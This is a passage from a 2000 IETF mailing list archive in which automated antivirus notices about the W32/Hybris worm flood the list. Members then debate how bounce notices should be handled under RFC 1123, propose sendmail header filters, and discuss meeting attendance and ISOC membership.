------_=_NextPart_001_01C06F73.0ACE5370-- From owner-ietf-outbound Tue Dec 26 18:21:51 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA26581 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 18:20:02 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24387 for ; Tue, 26 Dec 2000 15:59:09 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA13262 for ; Tue, 26 Dec 2000 15:58:37 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA29185 for ; Tue, 26 Dec 2000 15:58:39 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 15:58:28 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FCA5@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 15:58:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 18:31:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA26699 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 18:30:02 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24393 for ; Tue, 26 Dec 2000 15:59:11 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA13276 for ; Tue, 26 Dec 2000 15:58:39 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA29195 for ; Tue, 26 Dec 2000 15:58:40 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 15:58:34 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FCA8@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 15:58:33 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 18:41:37 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA26829 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 18:40:04 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24399 for ; Tue, 26 Dec 2000 15:59:13 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA13277 for ; Tue, 26 Dec 2000 15:58:39 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA29204 for ; Tue, 26 Dec 2000 15:58:40 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 15:58:39 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FCAB@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 15:58:38 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 18:51:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA26959 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 18:50:03 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24639 for ; Tue, 26 Dec 2000 16:05:32 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA13520 for ; Tue, 26 Dec 2000 16:05:00 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA29833 for ; Tue, 26 Dec 2000 16:05:02 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 16:04:52 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FCAE@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 16:04:50 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 19:02:32 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA27085 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 19:00:02 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24645 for ; Tue, 26 Dec 2000 16:05:33 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA13524 for ; Tue, 26 Dec 2000 16:05:01 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA29843 for ; Tue, 26 Dec 2000 16:05:03 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 16:05:02 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FCB4@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 16:05:01 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 19:11:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA27202 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 19:10:02 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24647 for ; Tue, 26 Dec 2000 16:05:37 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA13519 for ; Tue, 26 Dec 2000 16:05:00 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA29829 for ; Tue, 26 Dec 2000 16:05:02 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 16:04:57 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FCB1@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 16:04:56 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 19:31:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA27408 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 19:30:02 -0500 (EST) Received: from garlic.amaranth.net ([216.235.243.195]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25380 for ; Tue, 26 Dec 2000 16:36:58 -0500 (EST) Received: from senie.com (garlic.amaranth.net [216.235.243.195]) (authenticated (0 bits)) by garlic.amaranth.net (8.11.1/8.11.1) with ESMTP id eBQLawg09328 for ; Tue, 26 Dec 2000 16:36:59 -0500 Message-ID: <3A490F7A.9C3AF6D8@senie.com> Date: Tue, 26 Dec 2000 16:36:58 -0500 From: Daniel Senie Organization: Amaranth Networks Inc. X-Mailer: Mozilla 4.76 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: Denial of Service by Spamware? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit So we're getting to see the latest non-feature from the Virus scanning legions. Earlier today someone spammed the IETF list with a message containing a virus. This may or may not have been on purpose (virus may have sent itself to the ietf list). That accounted for 3 messages seen here. Since then, many additional messages have been posted to the list pointing out the virus and how it's been addressed by various sites. I guess we will see several hundred more of these as people return to work next week. What a wonderful feature... it's permitted the spammers to be MUCH more annoying. I expect to see spammers appending viruses to their messages as a way to keep them in front of our faces long after the original spam is gone. Just another case of a "feature" which doesn't scale. -- ----------------------------------------------------------------- Daniel Senie dts@senie.com Amaranth Networks Inc. http://www.amaranth.com From owner-ietf-outbound Tue Dec 26 19:40:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA27536 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 19:40:03 -0500 (EST) Received: from lox.sandelman.ottawa.on.ca ([209.151.24.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25415 for ; Tue, 26 Dec 2000 16:42:18 -0500 (EST) Received: from nox.sandelman.ottawa.on.ca (nox.sandelman.ottawa.on.ca [209.151.24.6]) by lox.sandelman.ottawa.on.ca (8.8.7/8.8.8) with ESMTP id QAA12574; Tue, 26 Dec 2000 16:42:19 -0500 (EST) Received: from sandelman.ottawa.on.ca ([2002:401a:9bfe:3:2a0:24ff:feac:5c52]) by nox.sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBQM5J827026 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Tue, 26 Dec 2000 14:05:21 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBQLg8f05672; Tue, 26 Dec 2000 16:42:08 -0500 (EST) Message-Id: <200012262142.eBQLg8f05672@sandelman.ottawa.on.ca> To: ietf@ietf.org, postmaster@sycamorenet.com Subject: RFC1123 Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Tue, 26 Dec 2000 16:42:08 -0500 From: Michael Richardson X-Loop: ietf@ietf.org Again I will bring up RFC1123. I am so tired of having my mailbox fill up with junk. This notice should a) not be sent to "all" due to the precedence "bulk" b) should never be sent to "To:", only to the envelope sender c) should not be sent outside your organization, as you tell us things about your internal network that we don't need to know. I think that is is time to reopen 1123. From mcr@solidum.com Tue Dec 26 15:55:45 2000 Return-Path: X-Authentication-Warning: dokka.maxware.no: majordomo set sender to owner-ietf+censored@dokka.maxware.no using -f Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442CB@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris@m virus Date: Tue, 26 Dec 2000 13:54:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Precedence: bulk List-Unsubscribe: X-Filter-Ruleset: ietf+censored 21 X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/) X-Filtered-By: NoCeM-E v0.6 (http://www.novia.net/~doumakes) Antigen for Exchange found enano.exe infected with W32/Hybris@m virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. - This message was passed through ietf+censored@alvestrand.no, which is a sublist of ietf@ietf.org. Not all messages are passed. Decisions on what to pass are made solely by Harald Alvestrand. From owner-ietf-outbound Tue Dec 26 20:00:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA27727 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 20:00:03 -0500 (EST) Received: from lox.sandelman.ottawa.on.ca ([209.151.24.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA25666 for ; Tue, 26 Dec 2000 17:03:17 -0500 (EST) Received: from nox.sandelman.ottawa.on.ca (nox.sandelman.ottawa.on.ca [209.151.24.6]) by lox.sandelman.ottawa.on.ca (8.8.7/8.8.8) with ESMTP id RAA12818 for ; Tue, 26 Dec 2000 17:03:19 -0500 (EST) Received: from sandelman.ottawa.on.ca ([2002:401a:9bfe:3:2a0:24ff:feac:5c52]) by nox.sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBQMQK827042 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK) for ; Tue, 26 Dec 2000 14:26:21 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBQM38f06275 for ; Tue, 26 Dec 2000 17:03:08 -0500 (EST) Message-Id: <200012262203.eBQM38f06275@sandelman.ottawa.on.ca> To: ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Mon, 25 Dec 2000 18:07:53 +0200." <15F58915DF84D311AC7D0090279AA6142342F6@itc-eml2.lannet.com> Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Tue, 26 Dec 2000 17:03:08 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Dan" == Dan Romascanu writes: Dan> [Dan] Why would a color coded badge-per-day system would be an Dan> administrative nightmare? Like Monday = green, Tuesday = Yellow,...,Blue = Dan> the whole week. I do not think that this would require more badge screening Dan> than today. This would certainly encourage a more focused participation Dan> planning. That would be fine, but there are three problems that I see: 1) schedule changes (such as to get a group into a bigger room, to add additional time for issues, etc.) would be impossible. 2) it doesn't make the hotel issue any easier, as we have less buying power. 3) It guarantees that newcomers will not be there on Sunday for an orientation session. I like the idea of encouraging more interum meetings. ] Train travel features AC outlets with no take-off restrictions|gigabit is no[ ] Michael Richardson, Solidum Systems Oh where, oh where has|problem with[ ] mcr@solidum.com www.solidum.com the little fishy gone?|PAX.port 1100[ ] panic("Just another NetBSD/notebook using, kernel hacking, security guy"); [ From owner-ietf-outbound Tue Dec 26 20:40:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA28033 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 20:40:01 -0500 (EST) Received: from calcite.rhyolite.com ([192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA26317 for ; Tue, 26 Dec 2000 17:55:43 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBQMthP05534 for ietf@ietf.org env-from ; Tue, 26 Dec 2000 15:55:43 -0700 (MST) Date: Tue, 26 Dec 2000 15:55:43 -0700 (MST) From: Vernon Schryver Message-Id: <200012262255.eBQMthP05534@calcite.rhyolite.com> To: ietf@ietf.org Subject: ban either Internet Mail Service or attachments X-Loop: ietf@ietf.org It's tiresome to see a renewed flood of warnings about supposed viruses from a brand of lame software spread by the same brand of lame junkware from systems running that same brand of malware to other systems running that brand of nonsense. The flood would be helped by either: 1. fixing the IETF's mailing list systems to reject all mail with the tell tale "X-Mailer: Internet Mail Service" header 2. fixing the IETF's mailing list systems to reject all mail with a header starting with "Content-Type: multipart" #1 is the right answer. However, if you want to coddle those who insist on using broken malware, #2 would stem the flood silly warnings, reduce spam, and reduce bandwidth wasted by those who insist on sending several encoded copies of demonstrations of their wit and perception while protecting those who need coddling. Judging from the Received: line added by ietf.org, something like the following added to a sendmail.cf might do #2: HContent-Type: $>+Check_CT SCheck_CT R$*multipart$* $#error $: 553 reject multi-part spam I think the following would be better, but I'm not so crazy to think there is much hope: HX-Mailer: $>+Check_junk SCheck_junk R$*Internet.Mail.Service$* $#error $: 553 reject broken vacation mailer Vernon Schryver vjs@rhyolite.com > ... > Received: by ietf.org (8.9.1a/8.9.1a) id RAA25928 > for ietf-outbound.05@ietf.org; Tue, 26 Dec 2000 17:30:02 -0500 (EST) > ... > Message-ID: <1FAC8547DACBD411A99600204840339533FC9F@whq-msgrtr-01.pit.comms.marconi.com> > From: Anti-Virus Utility > To: "'ietf@ietf.org'" > Subject: Antivirus Utility found the W32/Hybris.gen@M virus > Date: Tue, 26 Dec 2000 14:32:53 -0500 > MIME-Version: 1.0 > X-Mailer: Internet Mail Service (5.5.2650.21) > Content-Type: text/plain > Antivirus Utility for Exchange found enano.exe infected with the > W32/Hybris.gen@M virus. The file is currently Deleted. The message, > ... From owner-ietf-outbound Tue Dec 26 21:10:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA28282 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 21:10:02 -0500 (EST) Received: from horowitz.ne.mediaone.net (horowitz.ne.mediaone.net [24.147.233.208]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26806 for ; Tue, 26 Dec 2000 18:39:55 -0500 (EST) Received: (from marc@localhost) by horowitz.ne.mediaone.net (8.8.8/8.8.8) id SAA04086; Tue, 26 Dec 2000 18:39:56 -0500 (EST) X-Authentication-Warning: horowitz.ne.mediaone.net: marc set sender to marc@horowitz.ne.mediaone.net using -f Sender: marc@mit.edu From: Marc Horowitz To: ietf@ietf.org Subject: Antigen for Exchange Date: 26 Dec 2000 18:39:55 -0500 Message-ID: Lines: 5 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org If the recent onslaught of virus warnings bothers you, think of the bright side: when someone finds a bug in Antigen for Exchange, we all know who's running it, and is therefore vulnerable. Ma From owner-ietf-outbound Tue Dec 26 21:20:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA28385 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 21:20:03 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA27513 for ; Tue, 26 Dec 2000 19:39:34 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14B4cm-000FTf-00; Tue, 26 Dec 2000 16:39:24 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Daniel Senie Cc: ietf@ietf.org Subject: Re: Denial of Service by Spamware? References: <3A490F7A.9C3AF6D8@senie.com> Message-Id: Date: Tue, 26 Dec 2000 16:39:24 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit actually, if it is a delivery failure notification, 1123 5.3.3 would seem to apply. mail bounces are to be sent to the MAIL FROM: not the original sender. or even if they were sent to the from: we would not see them. this has been designed to be max annoying. get the word out. tell folk NOT TO BUY ANTIGEN. randy From owner-ietf-outbound Tue Dec 26 21:30:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA28485 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 21:30:04 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27807 for ; Tue, 26 Dec 2000 20:08:08 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14B54a-000FlU-00 for ietf@ietf.org; Tue, 26 Dec 2000 17:08:08 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: ietf@ietf.org Subject: scum suckers (was Re: Bottom feeders:-) References: <15F58915DF84D311AC7D0090279AA6142342F6@itc-eml2.lannet.com> <200012262203.eBQM38f06275@sandelman.ottawa.on.ca> Message-Id: Date: Tue, 26 Dec 2000 17:08:08 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit as no one has mentioned this approach, i figured to add to the non- productive confusion as follows: nanog had an analogous crowding issue. the organizers looked at the problem and said the goal is not to become large, the goal is to maintain quality but one does not want to disenfranchise any particular constituency so nangog gets space for about 500 people, allows just that many to register, and it's first register first serve. randy From owner-ietf-outbound Tue Dec 26 22:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA29670 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 22:00:03 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@[131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA28120 for ; Tue, 26 Dec 2000 20:44:19 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 14B5dX-0002z3-00 for ietf@ietf.org; Wed, 27 Dec 2000 01:44:15 +0000 Date: Wed, 27 Dec 2000 01:44:15 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: ietf@ietf.org Subject: www.ietf.org advertising isoc Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org I see the slightly-updated www.ietf.org webpage is now linking to the Internet Society. If we're doing banner promotion, I'd appreciate a nice interstitial page stating that you do not have to be a member of ISOC to be a member of the IETF, much less have access to the ISOC member-only pages. Yes, this is mentioned on http://www.isoc.org/standards/ - a way after the membership blurbs and the corporate platinum programme, though. (note the confusion over getting involved in the IETF expressed in RFC3002. This doesn't help.) L. PGP From owner-ietf-outbound Tue Dec 26 22:31:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA29889 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 22:30:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA28344 for ; Tue, 26 Dec 2000 21:14:19 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id VAA17238; Tue, 26 Dec 2000 21:14:13 -0500 (EST) Message-Id: <200012270214.VAA17238@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Michael Richardson cc: ietf@ietf.org, postmaster@sycamorenet.com Subject: Re: RFC1123 In-reply-to: Your message of "Tue, 26 Dec 2000 16:42:08 EST." <200012262142.eBQLg8f05672@sandelman.ottawa.on.ca> Date: Tue, 26 Dec 2000 21:12:59 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org This notice should a) not be sent to "all" due to the precedence "bulk" says who? it's not in 1123. nor in 1891-1894. 2076 says this about precedence: Sometimes used as a priority Precedence: Non-standard, value which can influence controversial, transmission speed and delivery. discouraged. Common values are "bulk" and "first-class". Other uses is to control automatic replies and to control return-of-content facilities, and to stop mailing list loops. nor is it appropriate for any message header to control reporting of delivery success or failure. Keith From owner-ietf-outbound Wed Dec 27 00:51:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id AAA01939 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 00:50:04 -0500 (EST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA01874 for ; Wed, 27 Dec 2000 00:40:32 -0500 (EST) Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id VAA02169; Tue, 26 Dec 2000 21:39:30 -0800 (PST) Received: from mailman.cisco.com (localhost [127.0.0.1]) by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eBR5dUd26047; Tue, 26 Dec 2000 21:39:30 -0800 (PST) Received: from [192.168.1.11] (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id VAA05874; Tue, 26 Dec 2000 21:39:24 -0800 (PST) Mime-Version: 1.0 X-Sender: pfaltstr@127.0.0.1 Message-Id: In-Reply-To: References: Date: Wed, 27 Dec 2000 06:38:30 +0100 To: Lloyd Wood , ietf@ietf.org From: Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?= Subject: Re: www.ietf.org advertising isoc Content-Type: text/plain; charset="iso-8859-1" ; format="flowed" X-MIME-Autoconverted: from 8bit to quoted-printable by sj-msg-core-4.cisco.com id VAA02169 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id AAA01874 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit At 01.44 +0000 00-12-27, Lloyd Wood wrote: >I'd appreciate a >nice interstitial page stating that you do not have to be a member of >ISOC to be a member of the IETF You are never a member of the IETF. See the link "Joining the IETF" on the IETF webpage which points to http://www.ietf.org/join.html. The correct term is "participating in the IETF". Nothing else. To quote the page in question: >The actual technical work of the IETF is done in its working groups. >To become a participant in the IETF, one merely becomes active in >one or more working groups by asking to be added to the WG's mailing >list. paf -- Patrik Fältström Internet Engineering Task Force Area Director, Applications Area http://www.ietf.org Phone: (Stockholm) +46-8-4494212 (San Jose) +1-408-525-0940 PGP: 2DFC AAF6 16F0 F276 7843 2DC1 BC79 51D9 7D25 B8DC From owner-ietf-outbound Wed Dec 27 04:00:46 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA15587 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 04:00:02 -0500 (EST) Received: from warp.lannet.com (at.lannet.com [194.90.94.231]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA15539 for ; Wed, 27 Dec 2000 03:56:20 -0500 (EST) Received: from itc-eml2.lannet.com ([149.49.38.52]) by warp.lannet.com (8.8.8+Sun/8.8.8) with ESMTP id LAA21617 for ; Wed, 27 Dec 2000 11:04:36 +0200 (IST) Received: by itc-eml2.lannet.com with Internet Mail Service (5.5.2650.21) id ; Wed, 27 Dec 2000 09:14:28 +0200 Message-ID: <15F58915DF84D311AC7D0090279AA614234308@itc-eml2.lannet.com> From: Dan Romascanu To: "'Michael Richardson'" , ietf@ietf.org Subject: RE: Bottom feeders Date: Wed, 27 Dec 2000 09:14:26 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org > Dan> [Dan] Why would a color coded badge-per-day system would be > an > Dan> administrative nightmare? Like Monday = green, Tuesday = > Yellow,...,Blue = > Dan> the whole week. I do not think that this would require more badge > screening > Dan> than today. This would certainly encourage a more focused > participation > Dan> planning. > > That would be fine, but there are three problems that I see: > 1) schedule changes (such as to get a group into a bigger room, to add > additional time for issues, etc.) would be impossible. [Dan] Schedule changes are usually done within the same day, just because some people do plan for specific working group(s) attendance anyway. I cannot remember changes made at the last moment that involved moving a meeting from one day to another. > > 2) it 